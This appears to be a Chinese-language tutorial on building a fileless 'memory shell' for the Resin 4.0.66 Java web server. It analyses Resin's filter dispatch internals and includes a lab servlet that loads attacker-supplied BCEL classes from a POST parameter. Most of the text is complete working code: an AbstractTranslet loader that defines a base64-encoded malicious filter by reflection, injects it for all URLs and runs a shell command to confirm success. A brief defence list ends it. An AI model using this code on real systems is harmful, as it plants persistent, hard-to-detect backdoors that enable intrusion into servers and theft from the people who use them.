Resin内存马分析
字数 1732 2025-08-24 16:48:16

Resin内存马分析与构造教学文档

1. 环境搭建

1.1 Resin版本

  • 使用Resin 4.0.66版本

1.2 web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4" 
         xmlns="http://java.sun.com/xml/ns/j2ee" 
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
         xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>

1.3 示例Servlet

package com.example.ResinDemo2;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("Get Request");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String Code = req.getParameter("s");
        try {
            (new com.sun.org.apache.bcel.internal.util.ClassLoader()).loadClass(Code).newInstance();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public void destroy() {
    }
}

1.4 示例Filter

package com.example.ResinDemo2;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "HelloFilter", urlPatterns = "/hello-servlet")
public class HelloFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {
    }

    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        response.getWriter().println("hello world");
        chain.doFilter(request, response);
    }
}

2. Filter机制分析

2.1 Filter调用流程

  1. 在Filter中设置断点,开启Debug模式
  2. 请求 /ResinDemo2-1.0-SNAPSHOT/hello-servlet
  3. 查看调用栈,寻找第一次调用doFilter的位置

2.2 关键类分析

  • com.caucho.server.dispatch.ServletInvocation:第一次调用doFilter的位置
  • FilterChain过滤器链:Web服务器根据Filter在web.xml文件中的注册顺序决定调用顺序

2.3 FilterChain构建过程

  1. ServletInvocation类中检索_filterChain
  2. 找到setFilterChain方法,该方法生成_filterChain
  3. 在该方法设置断点,重启Resin服务,查看调用栈

2.4 FilterMapper分析

  • FilterMapper::buildDispatchChain方法:
    • 遍历FilterMapper._filterMap中的FilterMapping类型元素
    • 从map中获取filterName
    • 调用FilterMapper._filterManager.createFilter(filterName)生成具体Filter类
    • 调用FilterMapper._filterManager.getFilter(filterName)生成config

2.5 WebApp结构

  • com.caucho.server.webapp.WebApp::buildInvocation
    • WebApp对象包含_filterMapper(FilterMapper类型)
    • Resin启动时生成WebApp对象,记录所有filter相关信息
    • 获取_filterMapper._filterMap中的FilterMapping元素

3. 内存马构造关键点

3.1 构造内存马的必要条件

  1. 获取WebApp._filterMapper
  2. _filterMap变量中添加FilterMapping类型元素
    • 需要设置filterNameurlPattern两个变量
  3. _filterMapper._filterManager.filters(HashMap)中存入元素
    • 格式:filterName → FilterConfigImp
  4. _filterMapper._filterManager._instances(HashMap)中存入元素
    • 格式:filerName → 恶意Filter

3.2 获取上下文方法

使用java-object-searcher工具快速检索:

// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.caucho.server.dispatch.FilterMapper").build());

// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());

// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);

// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/admin/Documents/CodeFile/java/MiddleWare/logs/resin");
searcher.searchObject();

3.3 获取WebApp的表达式

Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_attributes");
field.setAccessible(true);
ConcurrentHashMap _attributes = (ConcurrentHashMap) field.get(obj);
WebApp webApp = (WebApp) _attributes.get("caucho.application");
Field _filterManager_field = webApp.getClass().getDeclaredField("_filterManager");
_filterManager_field.setAccessible(true);
FilterManager _filterManager = (FilterManager) _filterManager_field.get(webApp);
Field _filterMapper_field = webApp.getClass().getDeclaredField("_filterMapper");
_filterMapper_field.setAccessible(true);
FilterMapper _filterMapper = (FilterMapper) _filterMapper_field.get(webApp);

4. 完整内存马实现

4.1 内存马类结构

import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterManager;
import com.caucho.server.dispatch.FilterMapper;
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;

public class ResinFilterLoader extends AbstractTranslet {
    private static Object filterMapper = null;
    private static Object filterManager = null;
    private static String filterName = "EvilFilter";
    private static String filterClassName = "com.EvilFilter";
    private static String url = "/*"; // 匹配所有URL

4.2 加载恶意Filter到内存

private static synchronized void LoadFilter() throws Exception {
    try{
        Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
    }catch (Exception e){
        Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
        a.setAccessible(true);
        byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter编译后的class base64编码");
        a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
    }
}

4.3 获取上下文

private static synchronized void GetWebContent() throws Exception {
    try {
        Object currentThread = Thread.currentThread();
        Object contextClassLoader = GetField(currentThread, "contextClassLoader");
        ConcurrentHashMap _attributes = (ConcurrentHashMap) GetField(contextClassLoader, "_attributes");
        Object webapp = _attributes.get("caucho.application");
        filterManager = GetField(webapp, "_filterManager");
        filterMapper = GetField(webapp, "_filterMapper");
    } catch (Exception e) {
    }
}

private static synchronized Object GetField(Object o, String k) throws Exception{
    Field f;
    try {
        f = o.getClass().getDeclaredField(k);
    } catch (NoSuchFieldException e) {
        try{
            f = o.getClass().getSuperclass().getDeclaredField(k);
        }catch (Exception e1){
            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
        }
    }
    f.setAccessible(true);
    return f.get(o);
}

4.4 注入恶意Filter

private static synchronized void InjectFilter() throws Exception {
    try{
        if (filterMapper != null && filterManager != null){
            // 执行命令验证注入成功
            java.lang.Runtime.getRuntime().exec("touch /Users/lishuheng/Documents/CodeFile/java/MiddleWare/test/GetFilterMapperAndManagerOk");
            
            // 加载恶意Filter类
            Filter characterEncodingHFilter = (Filter)Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
            
            // 获取并修改_filterMap
            Field _filterMap_field = filterMapper.getClass().getDeclaredField("_filterMap");
            _filterMap_field.setAccessible(true);
            ArrayList _filterMap = (ArrayList) _filterMap_field.get(filterMapper);
            
            // 创建并配置FilterMapping
            FilterMapping filtermapping = new FilterMapping();
            filtermapping.setFilterName(filterName);
            filtermapping.setURLRegexp(url);
            _filterMap.add(filtermapping);
            
            // 获取并修改_filters
            Field _filters_field = filterManager.getClass().getDeclaredField("_filters");
            _filters_field.setAccessible(true);
            HashMap _filters = (HashMap) _filters_field.get(filterManager);
            
            // 创建并配置FilterConfig
            FilterConfigImpl filterConfig = new FilterConfigImpl();
            filterConfig.setFilterName(filterName);
            _filters.put(filterName,filterConfig);
            
            // 获取并修改_instances
            Field _instances_field = filterManager.getClass().getDeclaredField("_instances");
            _instances_field.setAccessible(true);
            HashMap _instances = (HashMap) _instances_field.get(filterManager);
            _instances.put(filterName,characterEncodingHFilter);
        }
    }catch (Exception e){
    }
}

4.5 初始化方法

static {
    new ResinFilterLoader();
}

public ResinFilterLoader(){
    try{
        // 加载恶意Filter到内存中
        LoadFilter();
        // 获取上下文
        GetWebContent();
        // 将恶意Filter写入上下文中
        InjectFilter();
    }catch (Exception e){}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

5. 关键总结

  1. 核心思路:通过反射修改Resin内部数据结构,动态添加恶意Filter
  2. 关键对象
    • WebApp:Resin中表示Web应用的类
    • FilterMapper:管理Filter映射关系
    • FilterManager:管理Filter实例
  3. 注入流程
    • 获取当前线程上下文
    • 通过反射获取WebApp对象
    • 修改FilterMapper和FilterManager内部结构
    • 添加恶意Filter的映射关系和实例
  4. 持久化:通过修改内存中的数据结构实现,无需修改磁盘文件
  5. 检测难点:内存马不依赖web.xml配置,传统静态检测方法难以发现

6. 防御建议

  1. 运行时监控:监控JVM中Filter的动态添加行为
  2. 反射调用检测:检测关键类的反射调用
  3. 内存扫描:定期扫描内存中的Filter实例
  4. 权限控制:限制关键类的反射调用权限
  5. 更新补丁:及时更新Resin到最新版本
Resin内存马分析与构造教学文档 1. 环境搭建 1.1 Resin版本 使用Resin 4.0.66版本 1.2 web.xml配置 1.3 示例Servlet 1.4 示例Filter 2. Filter机制分析 2.1 Filter调用流程 在Filter中设置断点,开启Debug模式 请求 /ResinDemo2-1.0-SNAPSHOT/hello-servlet 查看调用栈,寻找第一次调用 doFilter 的位置 2.2 关键类分析 com.caucho.server.dispatch.ServletInvocation :第一次调用 doFilter 的位置 FilterChain 过滤器链:Web服务器根据Filter在web.xml文件中的注册顺序决定调用顺序 2.3 FilterChain构建过程 在 ServletInvocation 类中检索 _filterChain 找到 setFilterChain 方法,该方法生成 _filterChain 在该方法设置断点,重启Resin服务,查看调用栈 2.4 FilterMapper分析 FilterMapper::buildDispatchChain 方法: 遍历 FilterMapper._filterMap 中的 FilterMapping 类型元素 从map中获取 filterName 调用 FilterMapper._filterManager.createFilter(filterName) 生成具体Filter类 调用 FilterMapper._filterManager.getFilter(filterName) 生成config 2.5 WebApp结构 com.caucho.server.webapp.WebApp::buildInvocation : WebApp对象包含 _filterMapper (FilterMapper类型) Resin启动时生成WebApp对象,记录所有filter相关信息 获取 _filterMapper._filterMap 中的FilterMapping元素 3. 内存马构造关键点 3.1 构造内存马的必要条件 获取 WebApp._filterMapper 在 _filterMap 变量中添加 FilterMapping 类型元素 需要设置 filterName 和 urlPattern 两个变量 在 _filterMapper._filterManager.filters (HashMap)中存入元素 格式: filterName → FilterConfigImp 在 _filterMapper._filterManager._instances (HashMap)中存入元素 格式: filerName → 恶意Filter 3.2 获取上下文方法 使用 java-object-searcher 工具快速检索: 3.3 获取WebApp的表达式 4. 完整内存马实现 4.1 内存马类结构 4.2 加载恶意Filter到内存 4.3 获取上下文 4.4 注入恶意Filter 4.5 初始化方法 5. 关键总结 核心思路 :通过反射修改Resin内部数据结构,动态添加恶意Filter 关键对象 : WebApp :Resin中表示Web应用的类 FilterMapper :管理Filter映射关系 FilterManager :管理Filter实例 注入流程 : 获取当前线程上下文 通过反射获取WebApp对象 修改FilterMapper和FilterManager内部结构 添加恶意Filter的映射关系和实例 持久化 :通过修改内存中的数据结构实现,无需修改磁盘文件 检测难点 :内存马不依赖web.xml配置,传统静态检测方法难以发现 6. 防御建议 运行时监控 :监控JVM中Filter的动态添加行为 反射调用检测 :检测关键类的反射调用 内存扫描 :定期扫描内存中的Filter实例 权限控制 :限制关键类的反射调用权限 更新补丁 :及时更新Resin到最新版本